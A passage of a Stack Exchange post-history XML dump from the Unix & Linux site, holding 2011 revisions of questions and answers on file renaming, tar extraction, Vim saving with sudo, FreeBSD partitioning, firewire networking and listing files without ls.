done&#xD;&#xA;&#xD;&#xA;But in fact you needn't bother with sed here, there's a shell construct to remove a suffix from a string.&#xD;&#xA;&#xD;&#xA;    for i in *.flac.mp3; do mv -- &quot;$i&quot; &quot;${i%.flac.mp3}.mp3&quot;; done&#xD;&#xA;&#xD;&#xA;There are plenty of tools to automate file renamings; browse [tag:rename] here for a few ideas. For example, if your shell is zsh:&#xD;&#xA;&#xD;&#xA;    autoload zmv    # goes into your .zshrc&#xD;&#xA;    zmv '(*).flac.mp3' '$1.mp3'&#xD;&#xA;" />
  <row Id="26691" PostHistoryTypeId="6" PostId="10994" RevisionGUID="892d9ac7-4f65-4024-a54c-56b3dbb229dd" CreationDate="2011-04-10T11:44:38.483" UserId="885" Comment="edited tags" Text="éfreebsdàéusersà" />
  <row Id="26692" PostHistoryTypeId="5" PostId="10998" RevisionGUID="87777598-41d0-4aef-b2d4-ceb277ad30aa" CreationDate="2011-04-10T11:47:14.783" UserId="885" Comment="made the shell-looking command an actual shell command" Text="The traditional unix command `at` is usually used for this purpose. e.g. &#xD;&#xA;&#xD;&#xA;    echo 'sudo port install gcc45' | at midnight&#xD;&#xA;" />
  <row Id="26693" PostHistoryTypeId="2" PostId="11015" RevisionGUID="010e8b3d-0c9f-46fa-a6c4-1659f8356128" CreationDate="2011-04-10T11:54:04.047" UserId="6454" Text="A couple of reasons:&#xD;&#xA;&#xD;&#xA; 1. The BCrypt-based scheme isn't NIST approved.&#xD;&#xA;&#xD;&#xA; 2. Hash functions are designed for this kind of usage, whereas Blowfish&#xD;&#xA; wasn't.&#xD;&#xA;&#xD;&#xA; 3. The added security is BCrypt is based on it being computationally expensive,&#xD;&#xA; rather than the type of algorithm.  Relying on computationally expensive operations isn't good for long-term security.&#xD;&#xA;&#xD;&#xA;See http://en.wikipedia.org/wiki/Crypt_%28Unix%29 for some discussion on this." />
  <row Id="26694" PostHistoryTypeId="25" PostId="11004" RevisionGUID="6bdbb769-75d2-4e43-a08d-2b5692a01789" CreationDate="2011-04-10T12:09:05.547" Comment="http://twitter.com/#!/StackUnix/status/57052478750982145" />
  <row Id="26695" PostHistoryTypeId="5" PostId="6974" RevisionGUID="bcce59b1-6c29-4872-9159-79f93e2fd96d" CreationDate="2011-04-10T12:24:17.760" UserId="3169" Comment="added 518 characters in body" Text="Two of the most important UNIX books, [The UNIX Programming Environment][UPE] and [The C Programming Language][C] both refer to it as minus.&#xD;&#xA;&#xD;&#xA;Unix Programming Environment, page 13:&#xD;&#xA;&#xD;&#xA;&gt; Options follow the command name on the command line, and are usually made up of an initial minus sign (`-`) and a single letter.&#xD;&#xA;&#xD;&#xA;C Progamming Language, 2nd Edition, page 116:&#xD;&#xA;&#xD;&#xA;&gt; A common convention for C programs on UNIX systems is that an argument that begins with a minus sign introduces an optional flag.&#xD;&#xA;&#xD;&#xA;Many UNIX users will have read one or both of these book, so may have have taken the terminology from there.&#xD;&#xA;&#xD;&#xA;Calling it a minus makes sense, because [the character you are typing][6] is known as [hyphen-minus][1], so either &quot;hyphen&quot; (`-`) or &quot;minus&quot; (`-`), not a [dash][2] (`—`), which is longer.&#xD;&#xA;&#xD;&#xA;The reason for saying &quot;minus&quot; rather than &quot;hyphen&quot; is probably twofold:&#xD;&#xA;&#xD;&#xA;  1. fewer people know what a hyphen is&#xD;&#xA;  2. some utilities accept options starting with `+`, so it's logical to think of plus and minus&#xD;&#xA;&#xD;&#xA;Also, many word processing programs convert a double hyphen-minus (`--`) into a dash (`—`), so saying &quot;dash&quot; when you mean &quot;minus&quot; could lead to confusion when discussing GNU long options, e.g. `--help`.&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Hyphen-minus&#xD;&#xA;  [2]: http://en.wikipedia.org/wiki/Dash&#xD;&#xA;  [3]: http://manpages.ubuntu.com/manpages/lucid/man7/groff_char.7.html&#xD;&#xA;  [4]: http://en.wikipedia.org/wiki/Brian_Kernighan&#xD;&#xA;  [5]: http://oreilly.com/catalog/opensources/book/larry.html&#xD;&#xA;  [6]: http://www.cs.sfu.ca/~ggbaker/reference/characters/#char002D&#xD;&#xA;  [UPE]: http://en.wikipedia.org/wiki/The_Unix_Programming_Environment&#xD;&#xA;  [C]: http://en.wikipedia.org/wiki/The_C_Programming_Language" />
  <row Id="26696" PostHistoryTypeId="5" PostId="6974" RevisionGUID="5c9f6b23-3a19-41f0-bbcf-1d13fe8597d0" CreationDate="2011-04-10T12:30:01.893" UserId="3169" Comment="add links to Google Books citations" Text="Two of the most important UNIX books, [The UNIX Programming Environment][UPE] and [The C Programming Language][C] both refer to it as minus.&#xD;&#xA;&#xD;&#xA;[Unix Programming Environment, page 13](http://books.google.com.au/books?id=mcO0Vh9efE0C&amp;q=%22options+follow+the+command+name+on+the+command+line+and+are+usually+made+up+of+an+initial+minus+sign%22&amp;dq=%22options+follow+the+command+name+on+the+command+line+and+are+usually+made+up+of+an+initial+minus+sign%22&amp;hl=en&amp;ei=SaKhTffPCY_svQOapLSBBQ&amp;sa=X&amp;oi=book_result&amp;ct=result&amp;resnum=1&amp;ved=0CC8Q6AEwAA):&#xD;&#xA;&#xD;&#xA;&gt; Options follow the command name on the command line, and are usually made up of an initial minus sign (`-`) and a single letter.&#xD;&#xA;&#xD;&#xA;[C Progamming Language, 2nd Edition, page 116](http://books.google.com.au/books?id=HHhGAAAAYAAJ&amp;q=%22a+common+convention+for+c+programs+on+unix+systems+is+that+an+argument+that+begins+with+a+minus+sign+introduces+an+optional+flag+or+parameter%22&amp;dq=%22a+common+convention+for+c+programs+on+unix+systems+is+that+an+argument+that+begins+with+a+minus+sign+introduces+an+optional+flag+or+parameter%22&amp;hl=en&amp;ei=k6KhTdbsNoKEvAPD3KWOBQ&amp;sa=X&amp;oi=book_result&amp;ct=result&amp;resnum=1&amp;ved=0CC8Q6AEwAA):&#xD;&#xA;&#xD;&#xA;&gt; A common convention for C programs on UNIX systems is that an argument that begins with a minus sign introduces an optional flag.&#xD;&#xA;&#xD;&#xA;Many UNIX users will have read one or both of these book, so may have have taken the terminology from there.&#xD;&#xA;&#xD;&#xA;Calling it a minus makes sense, because [the character you are typing][6] is known as [hyphen-minus][1], so either &quot;hyphen&quot; (`-`) or &quot;minus&quot; (`-`), not a [dash][2] (`—`), which is longer.&#xD;&#xA;&#xD;&#xA;The reason for saying &quot;minus&quot; rather than &quot;hyphen&quot; is probably twofold:&#xD;&#xA;&#xD;&#xA;  1. fewer people know what a hyphen is&#xD;&#xA;  2. some utilities accept options starting with `+`, so it's logical to think of plus and minus&#xD;&#xA;&#xD;&#xA;Also, many word processing programs convert a double hyphen-minus (`--`) into a dash (`—`), so saying &quot;dash&quot; when you mean &quot;minus&quot; could lead to confusion when discussing GNU long options, e.g. `--help`.&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Hyphen-minus&#xD;&#xA;  [2]: http://en.wikipedia.org/wiki/Dash&#xD;&#xA;  [3]: http://manpages.ubuntu.com/manpages/lucid/man7/groff_char.7.html&#xD;&#xA;  [4]: http://en.wikipedia.org/wiki/Brian_Kernighan&#xD;&#xA;  [5]: http://oreilly.com/catalog/opensources/book/larry.html&#xD;&#xA;  [6]: http://www.cs.sfu.ca/~ggbaker/reference/characters/#char002D&#xD;&#xA;  [UPE]: http://en.wikipedia.org/wiki/The_Unix_Programming_Environment&#xD;&#xA;  [C]: http://en.wikipedia.org/wiki/The_C_Programming_Language" />
  <row Id="26697" PostHistoryTypeId="5" PostId="6974" RevisionGUID="acbe83d1-957f-468d-8cf8-c14d31252aea" CreationDate="2011-04-10T12:35:56.570" UserId="3169" Comment="added 8 characters in body" Text="Two of the most important UNIX books, [The UNIX Programming Environment][UPE] and [The C Programming Language][C] both refer to it as minus.&#xD;&#xA;&#xD;&#xA;[Unix Programming Environment, page 13](http://books.google.com.au/books?id=mcO0Vh9efE0C&amp;q=%22options+follow+the+command+name+on+the+command+line+and+are+usually+made+up+of+an+initial+minus+sign%22&amp;dq=%22options+follow+the+command+name+on+the+command+line+and+are+usually+made+up+of+an+initial+minus+sign%22&amp;hl=en&amp;ei=SaKhTffPCY_svQOapLSBBQ&amp;sa=X&amp;oi=book_result&amp;ct=result&amp;resnum=1&amp;ved=0CC8Q6AEwAA):&#xD;&#xA;&#xD;&#xA;&gt; Options follow the command name on the command line, and are usually made up of an initial minus sign (`-`) and a single letter.&#xD;&#xA;&#xD;&#xA;[C Progamming Language, 2nd Edition, page 116](http://books.google.com.au/books?id=HHhGAAAAYAAJ&amp;q=%22a+common+convention+for+c+programs+on+unix+systems+is+that+an+argument+that+begins+with+a+minus+sign+introduces+an+optional+flag+or+parameter%22&amp;dq=%22a+common+convention+for+c+programs+on+unix+systems+is+that+an+argument+that+begins+with+a+minus+sign+introduces+an+optional+flag+or+parameter%22&amp;hl=en&amp;ei=k6KhTdbsNoKEvAPD3KWOBQ&amp;sa=X&amp;oi=book_result&amp;ct=result&amp;resnum=1&amp;ved=0CC8Q6AEwAA):&#xD;&#xA;&#xD;&#xA;&gt; A common convention for C programs on UNIX systems is that an argument that begins with a minus sign introduces an optional flag.&#xD;&#xA;&#xD;&#xA;Many UNIX users will have read one or both of these books, so may have have taken the terminology from there.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;Calling it a minus makes sense, because [the character you are typing][6] is known as [hyphen-minus][1], so either &quot;hyphen&quot; (`-`) or &quot;minus&quot; (`-`), not a [dash][2] (`—`), which is longer.&#xD;&#xA;&#xD;&#xA;The reason for saying &quot;minus&quot; rather than &quot;hyphen&quot; is probably twofold:&#xD;&#xA;&#xD;&#xA;  1. fewer people know what a hyphen is&#xD;&#xA;  2. some utilities accept options starting with `+`, so it's logical to think of plus and minus&#xD;&#xA;&#xD;&#xA;Also, many word processing programs convert a double hyphen-minus (`--`) into a dash (`—`), so saying &quot;dash&quot; when you mean &quot;minus&quot; could lead to confusion when discussing GNU long options, e.g. `--help`.&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Hyphen-minus&#xD;&#xA;  [2]: http://en.wikipedia.org/wiki/Dash&#xD;&#xA;  [3]: http://manpages.ubuntu.com/manpages/lucid/man7/groff_char.7.html&#xD;&#xA;  [4]: http://en.wikipedia.org/wiki/Brian_Kernighan&#xD;&#xA;  [5]: http://oreilly.com/catalog/opensources/book/larry.html&#xD;&#xA;  [6]: http://www.cs.sfu.ca/~ggbaker/reference/characters/#char002D&#xD;&#xA;  [UPE]: http://en.wikipedia.org/wiki/The_Unix_Programming_Environment&#xD;&#xA;  [C]: http://en.wikipedia.org/wiki/The_C_Programming_Language" />
  <row Id="26698" PostHistoryTypeId="2" PostId="11016" RevisionGUID="714e3723-e8a8-4a0c-bbf4-abe1ca7a8be6" CreationDate="2011-04-10T13:13:58.923" UserId="6456" Text="Saving the file as root:&#xD;&#xA;&gt; :w !sudo tee %" />
  <row Id="26699" PostHistoryTypeId="2" PostId="11017" RevisionGUID="5353303c-8502-4c61-857f-8d42689287f6" CreationDate="2011-04-10T14:27:11.037" UserId="3887" Text="Read 'man tuning' for proper disk partitioning and why you should use different partitions, unlike what other posters have said. The handbook should be followed and, afaik, ALL FreeBSD users partition their systems as shown." />
  <row Id="26700" PostHistoryTypeId="25" PostId="11011" RevisionGUID="1a544c92-07f3-497c-841a-cc4b84bff4c6" CreationDate="2011-04-10T15:09:05.463" Comment="http://twitter.com/#!/StackUnix/status/57097777376796672" />
  <row Id="26701" PostHistoryTypeId="2" PostId="11018" RevisionGUID="310922f1-0e20-4382-b444-88ba76ec1f3d" CreationDate="2011-04-10T15:19:18.287" UserId="688" Text="Say I have file named `ugly_name.tar`, which when extracted, becomes `ugly_name` directory. What commands can I use such the the resulting name is `pretty_name` instead?" />
  <row Id="26702" PostHistoryTypeId="1" PostId="11018" RevisionGUID="310922f1-0e20-4382-b444-88ba76ec1f3d" CreationDate="2011-04-10T15:19:18.287" UserId="688" Text="How to choose directory name during untarring" />
  <row Id="26703" PostHistoryTypeId="3" PostId="11018" RevisionGUID="310922f1-0e20-4382-b444-88ba76ec1f3d" CreationDate="2011-04-10T15:19:18.287" UserId="688" Text="étarà" />
  <row Id="26704" PostHistoryTypeId="5" PostId="11018" RevisionGUID="17b91a68-493d-48ce-a6f8-53e0cf29dc73" CreationDate="2011-04-10T15:29:00.993" UserId="688" Comment="added 10 characters in body" Text="Say I have file named `ugly_name.tar`, which when extracted, becomes `ugly_name` directory. What command can I use such that the resulting directory name is `pretty_name` instead?" />
  <row Id="26705" PostHistoryTypeId="2" PostId="11019" RevisionGUID="5de8c07c-fa9f-4950-be48-3d2644162d4c" CreationDate="2011-04-10T15:45:05.933" UserId="5842" Text="This should work:&#xD;&#xA;&#xD;&#xA;    mkdir pretty_name &amp;&amp; tar xf ugly_name.tar -C pretty_name --strip-components 1&#xD;&#xA;&#xD;&#xA;`-C` changes to the specified directory before unpacking (or packing). `--strip-components` removes the specified number of directories from the filenames stored in the archive." />
  <row Id="26706" PostHistoryTypeId="2" PostId="11020" RevisionGUID="fbd227ab-265a-40f6-9501-dac83d1fd7a7" CreationDate="2011-04-10T15:51:09.673" UserId="885" Text="With [GNU tar](http://www.gnu.org/software/tar/) ≥1.16, use [`--transform`](http://www.gnu.org/software/tar/manual/tar.html#SEC113) to apply a sed regexp transformation to each file name (the transformation is applied on the full path in the archive):&#xD;&#xA;&#xD;&#xA;    tar xf foo.tar --transform 's!^ugly_name\($\|/\)!pretty_name\1!'&#xD;&#xA;&#xD;&#xA;If `ugly_name` is the toplevel component of all the file names in the archive, you don't need to bother with precise matching:&#xD;&#xA;&#xD;&#xA;    tar xf foo.tar --transform 's/ugly_name/pretty_name/'&#xD;&#xA;&#xD;&#xA;With [`pax`](http://pubs.opengroup.org/onlinepubs/009695399/utilities/pax.html), the POSIX archive utility, use the `-s` option, which takes a sed-like replacement expression as an argument.&#xD;&#xA;&#xD;&#xA;    pax -rf foo.tar -s '!^ugly_name\($\|/\)!pretty_name\1!'&#xD;&#xA;    pax -rf foo.tar -s '/ugly_name/pretty_name/'&#xD;&#xA;" />
  <row Id="26707" PostHistoryTypeId="6" PostId="11018" RevisionGUID="fc8162cc-1a25-41f1-8180-529c5c34f142" CreationDate="2011-04-10T15:51:31.657" UserId="885" Comment="edited tags" Text="érenameàétarà" />
  <row Id="26708" PostHistoryTypeId="5" PostId="11019" RevisionGUID="431dfb56-5fd1-422e-adfa-f203d17f469f" CreationDate="2011-04-10T16:12:34.393" UserId="5842" Comment="added 306 characters in body" Text="This should work:&#xD;&#xA;&#xD;&#xA;    mkdir pretty_name &amp;&amp; tar xf ugly_name.tar -C pretty_name --strip-components 1&#xD;&#xA;&#xD;&#xA;`-C` changes to the specified directory before unpacking (or packing). `--strip-components` removes the specified number of directories from the filenames stored in the archive.&#xD;&#xA;&#xD;&#xA;Note that this is not really portable. GNU tar and at least some of the BSD tars have the `--strip-components` option, but doesn't seem to exist on other unix-like platforms.&#xD;&#xA;&#xD;&#xA;The dumb way of doing this would work pretty much everywhere though.&#xD;&#xA;&#xD;&#xA;    tar xf ugly_name.tar &amp;&amp; mv ugly_name pretty_name" />
  <row Id="26709" PostHistoryTypeId="5" PostId="11006" RevisionGUID="8e468efd-ff06-4a4c-94ed-0ec9ad47beb8" CreationDate="2011-04-10T16:19:07.187" UserId="6167" Comment="improved solution" Text="sudo cannot change the effective user of an existing process, it always creates a new process that has the elevated privileges and the original shell is unaffected. This is a fundamental of UNIX design. I most often just save the file to /tmp as a workaround. If you really want to save it directly you might try using a feature of Vim where it can pipe a file to another process. Try saving with this command:&#xD;&#xA;&#xD;&#xA;    :w !sudo dd of=%&#xD;&#xA;&#xD;&#xA;Tested and works.  Vim will then ask you to reload the file, but it's unnecessary, you can just press 'o' to avoid reloading and loosing your undo history.  You can even save this to a Vim command/function or even bind it to a key for easy access, but I'll leave that as an exercise to the reader." />
  <row Id="26710" PostHistoryTypeId="5" PostId="11006" RevisionGUID="3ee5949b-660b-45eb-a41d-545b73f9885d" CreationDate="2011-04-10T17:03:36.397" UserId="1535" Comment="Fixed spelling and grammar; revised formatting." Text="sudo cannot change the effective user of an existing process, it always creates a new process that has the elevated privileges and the original shell is unaffected. This is a fundamental of UNIX design. I most often just save the file to /tmp as a workaround. If you really want to save it directly you might try using a feature of Vim where it can pipe a file to another process. Try saving with this command:&#xD;&#xA;&#xD;&#xA;    :w !sudo dd of=%&#xD;&#xA;&#xD;&#xA;Tested and works.  Vim will then ask you to reload the file, but it's unnecessary: you can just press &lt;kbd&gt;o&lt;/kbd&gt; to avoid reloading and losing your undo history.  You can even save this to a Vim command/function or even bind it to a key for easy access, but I'll leave that as an exercise to the reader." />
  <row Id="26711" PostHistoryTypeId="24" PostId="11006" RevisionGUID="3ee5949b-660b-45eb-a41d-545b73f9885d" CreationDate="2011-04-10T17:03:36.397" Comment="Proposed by 1535 approved by 73 edit id of 255" />
  <row Id="26712" PostHistoryTypeId="2" PostId="11021" RevisionGUID="0b18e0a2-7c4f-4f85-8be3-169413dcd143" CreationDate="2011-04-10T17:18:54.037" UserId="3229" Text="I would use this kind of arrangement for 160G:&#xD;&#xA;&#xD;&#xA;* a: 100M / (the only thing that goes in / for BSDs is boot files, /root, and /etc)&#xD;&#xA;* b: 200M-1G (swap) Note, BSDs use swap much differently than Linux or Windows. You hardly ever need as much.&#xD;&#xA;* d: 100M-500M /tmp (however much tmp space you think you need. Make bigger if editing very large files)&#xD;&#xA;* e: 300M-20G /var (By default, /var/www is used by httpd for web serving. So make it big if you will be hosting, or if you have a ton of logs)&#xD;&#xA;* f: 10G-30G /usr (where all programs go, including ports.&#xD;&#xA;* g: 50-100G /home&#xD;&#xA;&#xD;&#xA;Note that /home is the last partition. This is done on purpose. It's good practice to not partition all space. This way, if in the future you begin to run out of space in a partition you can add space from the unused space.&#xD;&#xA;&#xD;&#xA;And why not just use a big / ? Mainly because it makes for easier upgrading and more granularity over security. for instance, using one big / you can't make use of `nodev` and `nosuid` mount options. You also can't tune for performance(noticeable performance) by using the `noatime` and friends in partitions which could benefit. " />
  <row Id="26714" PostHistoryTypeId="5" PostId="5635" RevisionGUID="97f29c6a-eddd-44d6-8aa0-45634d38e177" CreationDate="2011-04-10T17:48:41.520" UserId="1974" Comment="added 240 characters in body" Text="As mentioned [in this question](http://unix.stackexchange.com/questions/5372/under-ubuntu-how-do-i-set-a-static-ip-for-firewire) I am using a firewire cable to provide a private network between my laptop and my desktop, because it makes using the screen sharing program `synergy` much nicer than using WIFI.&#xD;&#xA;&#xD;&#xA;However when I leave my office for the day and I suspend my laptop, when I return the next day, the desktop and the laptop cannot communicate over firewire anymore. The `firewire0` device still has an IP address. but when I try and ping the desktop I get `no route to host`&#xD;&#xA;&#xD;&#xA;I'm using kernel `2.6.35-24-generic #42-Ubuntu SMP x86_64` on Ubuntu 10.10.&#xD;&#xA;&#xD;&#xA;Is there some way I can remedy this without a reboot? Like, removing some kernel modules and re-inserting them?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**EDIT:** Here's what I have tried so far and the results:&#xD;&#xA;&#xD;&#xA;    root@token:~# dmesg|tail -n 1&#xD;&#xA;    [592525.204024] firewire_core: phy config: card 0, new root=ffc1, gap_count=5&#xD;&#xA;&#xD;&#xA;    root@token:~# modprobe -r firewire_net firewire_ohci firewire_core&#xD;&#xA;    root@token:~# modprobe -v firewire_ohci&#xD;&#xA;    insmod /lib/modules/2.6.35-24-generic/kernel/lib/crc-itu-t.ko &#xD;&#xA;    insmod /lib/modules/2.6.35-24-generic/kernel/drivers/firewire/firewire-core.ko &#xD;&#xA;    insmod /lib/modules/2.6.35-24-generic/kernel/drivers/firewire/firewire-ohci.ko &#xD;&#xA;&#xD;&#xA;    root@token:~# dmesg|tail&#xD;&#xA;    [592525.204024] firewire_core: phy config: card 0, new root=ffc1, gap_count=5&#xD;&#xA;    [592563.410868] firewire_ohci: Removed fw-ohci device.&#xD;&#xA;    [592579.160086] firewire_ohci: Added fw-ohci device 0000:02:00.0, OHCI v1.10, 4 IR + 8 IT contexts, quirks 0x2&#xD;&#xA;    [592579.160137] firewire_ohci: isochronous cycle inconsistent&#xD;&#xA;    [592579.660294] firewire_core: created device fw0: GUID 0000000000000000, S400&#xD;&#xA;    [592579.663805] firewire_core: created device fw1: GUID 0017f2fffe89bce6, S400&#xD;&#xA;    [592579.663813] firewire_core: phy config: card 0, new root=ffc1, gap_count=5&#xD;&#xA;    [592579.700720] firewire_core: phy config: card 0, new root=ffc1, gap_count=5&#xD;&#xA;    [592579.700842] firewire_core: refreshed device fw0&#xD;&#xA;    [592579.702603] firewire_net: firewire0: IPv4 over FireWire on device 0000000000000000&#xD;&#xA;&#xD;&#xA;    root@token:~# ping stan.firewire&#xD;&#xA;    PING stan.firewire (192.168.100.1) 56(84) bytes of data.&#xD;&#xA;    From token.local (192.168.100.3) icmp_seq=1 Destination Host Unreachable&#xD;&#xA;    From token.local (192.168.100.3) icmp_seq=2 Destination Host Unreachable&#xD;&#xA;    From token.local (192.168.100.3) icmp_seq=3 Destination Host Unreachable&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**EDIT 2:** I also tried removing the modules prior to suspending, and re-inserting after resuming. This did not work either :-(&#xD;&#xA;&#xD;&#xA;**EDIT 3:** If I unplug and replug the firewire cable after resuming from suspend, I see the message:&#xD;&#xA;&#xD;&#xA;    firewire_core: BM lock failed, making local node (ffc0) root&#xD;&#xA;&#xD;&#xA;I don't see this message when I unplug/replug before suspend..." />
  <row Id="26715" PostHistoryTypeId="5" PostId="11020" RevisionGUID="dc57d628-c0b2-40cf-951a-2222dba0b80a" CreationDate="2011-04-10T17:58:19.973" UserId="885" Comment="added how to cope with not knowing the name of the toplevel directory" Text="With [GNU tar](http://www.gnu.org/software/tar/) ≥1.16, use [`--transform`](http://www.gnu.org/software/tar/manual/tar.html#SEC113) to apply a sed regexp transformation to each file name (the transformation is applied on the full path in the archive):&#xD;&#xA;&#xD;&#xA;    tar xf foo.tar --transform 's!^ugly_name\($\|/\)!pretty_name\1!'&#xD;&#xA;&#xD;&#xA;If `ugly_name` is the toplevel component of all the file names in the archive, you don't need to bother with precise matching:&#xD;&#xA;&#xD;&#xA;    tar xf foo.tar --transform 's/ugly_name/pretty_name/'&#xD;&#xA;&#xD;&#xA;If you don't know the name of the toplevel directory, you can still use this method, though you might prefer [`--strip-components`](http://unix.stackexchange.com/questions/11018/how-to-choose-directory-name-during-untarring/11019#11019) instead.&#xD;&#xA;&#xD;&#xA;    tar xf foo.tar --transform 's!^[^/]\+\($\|/\)!pretty_name\1!'&#xD;&#xA;&#xD;&#xA;With [`pax`](http://pubs.opengroup.org/onlinepubs/009695399/utilities/pax.html), the POSIX archive utility, use the `-s` option, which takes a sed-like replacement expression as an argument.&#xD;&#xA;&#xD;&#xA;    pax -rf foo.tar -s '!^ugly_name\($\|/\)!pretty_name\1!'&#xD;&#xA;    pax -rf foo.tar -s '/ugly_name/pretty_name/'&#xD;&#xA;    pax -rf foo.tar -s '!^[^/]\+\($\|/\)!pretty_name\1!'&#xD;&#xA;" />
  <row Id="26716" PostHistoryTypeId="25" PostId="11018" RevisionGUID="8906b3e8-085b-4640-90b3-16a0d38a9420" CreationDate="2011-04-10T18:09:05.877" Comment="http://twitter.com/#!/StackUnix/status/57143078124929024" />
  <row Id="26717" PostHistoryTypeId="17" PostId="11024" RevisionGUID="0976652d-fc73-4e93-9685-acdb0965c016" CreationDate="2011-04-10T18:26:57.130" UserId="-1" Comment="from http://stackoverflow.com/questions/5612518/linux-command-to-list-files-except-ls/5612530#5612530" Text="" />
  <row Id="26718" PostHistoryTypeId="17" PostId="11025" RevisionGUID="6a927e48-33d9-4648-abd5-1ada1b62190e" CreationDate="2011-04-10T18:26:57.130" UserId="-1" Comment="from http://stackoverflow.com/questions/5612518/linux-command-to-list-files-except-ls/5612551#5612551" Text="" />
  <row Id="26719" PostHistoryTypeId="17" PostId="11026" RevisionGUID="6bda420c-7957-4147-9677-a6988114ee83" CreationDate="2011-04-10T18:26:57.130" UserId="-1" Comment="from http://stackoverflow.com/questions/5612518/linux-command-to-list-files-except-ls/5612554#5612554" Text="" />
  <row Id="26720" PostHistoryTypeId="17" PostId="11027" RevisionGUID="900d460f-9723-4532-b7bd-728023882b21" CreationDate="2011-04-10T18:26:57.130" UserId="-1" Comment="from http://stackoverflow.com/questions/5612518/linux-command-to-list-files-except-ls/5612616#5612616" Text="" />
  <row Id="26721" PostHistoryTypeId="2" PostId="11024" RevisionGUID="44083359-715a-4984-8291-3b0d579f7548" CreationDate="2011-04-10T14:48:39.290" UserId="5462" Text="    echo *&#xD;&#xA;&#xD;&#xA;... will show files in the current folder through file globbing on Bourne compatible shells." />
  <row Id="26722" PostHistoryTypeId="2" PostId="11025" RevisionGUID="90bb0977-cc24-4485-92ab-15fc8bff0c29" CreationDate="2011-04-10T14:52:02.537" UserDisplayName="Duck" Text="find .&#xD;&#xA;&#xD;&#xA;Though you probably would want to enter whatever limiting parameters you need." />
  <row Id="26723" PostHistoryTypeId="2" PostId="11026" RevisionGUID="a4fc44bf-7b8e-4933-a1fd-f1d96ecc9858" CreationDate="2011-04-10T14:52:16.950" UserId="4485" Text="    find -maxdepth 1 &#xD;&#xA;    find -maxdepth 1 -ls&#xD;&#xA;&#xD;&#xA;  less &lt;kbd&gt; TAB TAB &lt;/kbd&gt; &#xD;&#xA;&#xD;&#xA;finds -ls switch is independent of /bin/ls and has its own format, and displays detail information: &#xD;&#xA;&#xD;&#xA;    127432    0 drwxr-xr-x   2 stefan   stefan         48 Apr  8 22:51 ./temp/falsch/.hiddenfalsch&#xD;&#xA;    127447    0 lrwxrwxrwx   1 stefan   stefan          9 Apr  8 22:51 ./temp/falsch/linkfalsch -&gt; subfalsch&#xD;&#xA;    127427    0 drwxr-xr-x   2 stefan   stefan         48 Apr  8 22:51 ./temp/.hiddenmusik&#xD;&#xA;&#xD;&#xA;another, details showing possibility, is `stat`&#xD;&#xA;&#xD;&#xA;    stat *&#xD;&#xA;      File: `halx0o'&#xD;&#xA;      Size: 0         	Blocks: 0          IO Block: 4096   regular empty file&#xD;&#xA;    Device: 807h/2055d	Inode: 102701      Links: 1&#xD;&#xA;    Access: (0644/-rw-r--r--)  Uid: ( 1000/  stefan)   Gid: ( 1000/  stefan)&#xD;&#xA;    Access: 2011-04-08 22:38:18.000000000 +0200&#xD;&#xA;    Modify: 2009-07-23 03:16:15.000000000 +0200&#xD;&#xA;    Change: 2011-04-09 23:29:13.000000000 +0200&#xD;&#xA;      File: `ho ho ho'&#xD;&#xA;      Size: 0         	Blocks: 0          IO Block: 4096   regular empty file&#xD;&#xA;    Device: 807h/2055d	Inode: 115835      Links: 1&#xD;&#xA;    Access: (0644/-rw-r--r--)  Uid: ( 1000/  stefan)   Gid: ( 1000/  stefan)&#xD;&#xA;    Access: 2011-04-08 22:38:18.000000000 +0200&#xD;&#xA;    Modify: 2010-07-24 14:12:48.000000000 +0200&#xD;&#xA;    Change: 2011-04-09 23:29:13.000000000 +0200&#xD;&#xA;&#xD;&#xA;" />
  <row Id="26724" PostHistoryTypeId="2" PostId="11027" RevisionGUID="429d5d8b-28ed-47d0-8343-a904df3c8206" CreationDate="2011-04-10T15:03:21.483" UserId="3032" Text="To make it look like `ls`, I'd use Bash's `for` loop:&#xD;&#xA;&#xD;&#xA;    for i in *; do echo $i; done&#xD;&#xA;&#xD;&#xA;If that doesn't work, I'd try Python `;)` :&#xD;&#xA;&#xD;&#xA;    python -c &quot;import glob; print ''.join([f + '\n' for f in glob.glob('/home/*')])&quot;" />
  <row Id="26725" PostHistoryTypeId="2" PostId="11023" RevisionGUID="7b15819f-e419-43b1-94a7-5c21714a7242" CreationDate="2011-04-10T14:47:08.023" UserDisplayName="tonberry" Text="&gt; Imagine you were working on a system&#xD;&#xA;&gt; and someone accidentally deleted the&#xD;&#xA;&gt; `ls` command (`/bin/ls`). How could&#xD;&#xA;&gt; you get a list of the files in the&#xD;&#xA;&gt; current directory? Try it.&#xD;&#xA;&#xD;&#xA;I tried many methods and also searched on the Internet but nothing. I want to ask beside `ls` command what command can we use to list out all the files.&#xD;&#xA;" />
  <row Id="26726" PostHistoryTypeId="1" PostId="11023" RevisionGUID="7b15819f-e419-43b1-94a7-5c21714a7242" CreationDate="2011-04-10T14:47:08.023" UserDisplayName="tonberry" Text="Linux - command to list files (except ls)" />
  <row Id="26727" PostHistoryTypeId="3" PostId="11023" RevisionGUID="7b15819f-e419-43b1-94a7-5c21714a7242" CreationDate="2011-04-10T14:47:08.023" UserDisplayName="tonberry" Text="éhomeworkà" />
  <row Id="26728" PostHistoryTypeId="17" PostId="11023" RevisionGUID="8621623f-f125-4b36-81a7-cbea690847a3" CreationDate="2011-04-10T18:26:57.130" UserId="-1" Comment="from http://stackoverflow.com/questions/5612518/linux-command-to-list-files-except-ls" Text="" />
  <row Id="26730" PostHistoryTypeId="6" PostId="11023" RevisionGUID="d70bfb65-8db4-4ee0-94f5-187503fdca01" CreationDate="2011-04-10T18:29:01.497" UserId="885" Comment="edited tags" Text="éshellàélsà" />
  <row Id="26731" PostHistoryTypeId="2" PostId="11028" RevisionGUID="578bc8fe-bf12-4553-88a6-8d6103047927" CreationDate="2011-04-10T18:51:51.373" UserId="3378" Text="Hello ,  &#xD;&#xA;I am looking of a method to backup the whole disk in case something is screwed up...  &#xD;&#xA;I dont even know who to install some special devices of the server and every time it is not the same. Would cp -a the  /  work ? Is there any program that can copy all the data of the hard disk ? Like an image of the hard disk... I know that this exists at least for Windows..   &#xD;&#xA;The hard disk is on a RAID 1 though....  &#xD;&#xA;" />
